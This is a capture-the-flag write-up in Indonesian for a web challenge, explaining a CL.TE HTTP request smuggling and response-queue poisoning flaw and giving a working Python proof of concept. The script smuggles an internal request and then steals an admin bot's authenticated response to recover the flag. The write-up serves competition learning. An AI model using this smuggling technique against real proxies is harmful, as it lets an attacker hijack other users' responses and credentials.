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TAILGATE 
Kategori: Web Exploitation 
Vulnerability: HTTP Request Smuggling (CL.TE) & Response-Queue 
Poisoning. 
Inti Serangan: Memanfaatkan ketidakselarasan desync cara membaca 
batas akhir request antara gateway.py dan backendnya yaitu node.js 
untuk meracuni antrean koneksi (Connection pool).​ Tujuannya adalah 
membajak response HTTP milik Admin Bot yang berisi tiket rahasia 
(Flag). 
 
Jadi disini kita di beri source code. 

 
dan disini gw langsung tahu Vulnerabilitynya karna di kasih tau tuh ama 
si mimin di sourcecodenyaa yaitu smuggling HTTP Request. 
 
​ Singkat cerita singkat cerita gw bingung dengan instance manager 
buat run chall nya akhirnya bisa ternyata tokennya dari quals wreckit 
bukan di poltekssn, AWOKAWOKWOKAWOAWKO. 
 
nah di source code ada di gateway.py di baris ke 190 handle-client, ini di 
buat untuk content length nya atau C.L manual dan cuma validasi ityuuu. 
 

 
​ nahh gituu lahh pokoknya….. 
 
Saat Gateway meneruskan (forward) request ke Backend, Gateway tidak 
menghapus atau menolak header Transfer-Encoding: chunked 
(TE), sementara Backend (Node.js) dirancang memprioritaskan 

http://gateway.py
http://node.js
http://gateway.py


Transfer-Encoding jika kedua header (CL dan TE) ada, sesuai 
standar HTTP/1.1. Akibatnya, Gateway dan Backend memiliki persepsi 
yang berbeda tentang di mana sebuah request berakhir. 
 
Exploit: 
Kita akan mengirim request http dengan header C.L dan T.E Secara 
bersamaan. Di dalam body request, kita menyelundupkan request kedua 
(GET /internal/flag-part1). Gateway menganggap ini 1 request, 
tapi Backend memecahnya jadi 2 request. Karena Backend memproses 2 
request, ia mengembalikan 2 response. Namun, Gateway hanya 
mengekspektasikan 1 response. Response kedua (balasan dari 
/internal) akhirnya "nyangkut" di variabel penyangga 
(conn.leftover) milik Gateway. Antrean koneksi sekarang resmi 
terkontaminasi. Bot Admin dijadwalkan mengakses /tickets setiap 15 
detik. Saat Bot melakukan request, Gateway yang sudah "bingung" malah 
memberikan response yang nyangkut tadi ke Bot. Response asli milik Bot 
Admin (yang berisi otentikasi dan Flag) kini ganti berstatus "nyangkut" di 
antrean Gateway. Kita tinggal mengirim request normal satu kali lagi 
(GET /) untuk memancing Gateway agar memuntahkan response milik 
Bot Admin tersebut kepada kita. 
 
POC: 
import re 

import socket 

import time 

 

HOST = "35.198.248.110" 

PORT = 30881 

 

 

def receive_response(sock): 

   data = b"" 

   while b"\r\n\r\n" not in data: 

       chunk = sock.recv(4096) 

       if not chunk: 

           return data 

       data += chunk 

 

   head, _, body = data.partition(b"\r\n\r\n") 



   match = re.search(br"(?im)^Content-Length:\s*(\d+)", head) 

   content_length = int(match.group(1)) if match else 0 

 

   while len(body) < content_length: 

       chunk = sock.recv(4096) 

       if not chunk: 

           break 

       body += chunk 

 

   return head + b"\r\n\r\n" + body 

 

 

def send(raw): 

   with socket.create_connection((HOST, PORT), timeout=10) as sock: 

       sock.settimeout(10) 

       sock.sendall(raw) 

       return receive_response(sock) 

 

 

inner = ( 

   b"GET /internal/flag-part1 HTTP/1.1\r\n" 

   b"Host: backend\r\n" 

   b"Connection: keep-alive\r\n\r\n" 

) 

body = b"0\r\n\r\n" + inner 

 

poison = ( 

   b"POST / HTTP/1.1\r\n" 

   + f"Host: {HOST}:{PORT}\r\n".encode() 

   + b"Transfer-Encoding: chunked\r\n" 

   + f"Content-Length: {len(body)}\r\n".encode() 

   + b"Connection: keep-alive\r\n\r\n" 

   + body 

) 

 

print(send(poison).decode(errors="replace")) 

 

# The bot visits /tickets every 15 seconds. Wait for it to receive the 

# queued internal response and leave its authenticated response behind. 

time.sleep(18) 

 

trigger = ( 

   b"GET / HTTP/1.1\r\n" 

   + f"Host: {HOST}:{PORT}\r\n".encode() 

   + b"Connection: keep-alive\r\n\r\n" 



) 

leaked = send(trigger) 

print(leaked.decode(errors="replace")) 

print(re.findall(rb"WRECKIT70\{[^}]+\}", leaked)) 

 
 
Ini sebagai Bukti POC works: 

 
 
Flag: WRECKIT70{d909f505da8ddce43b8cc69f74eb48e1} 
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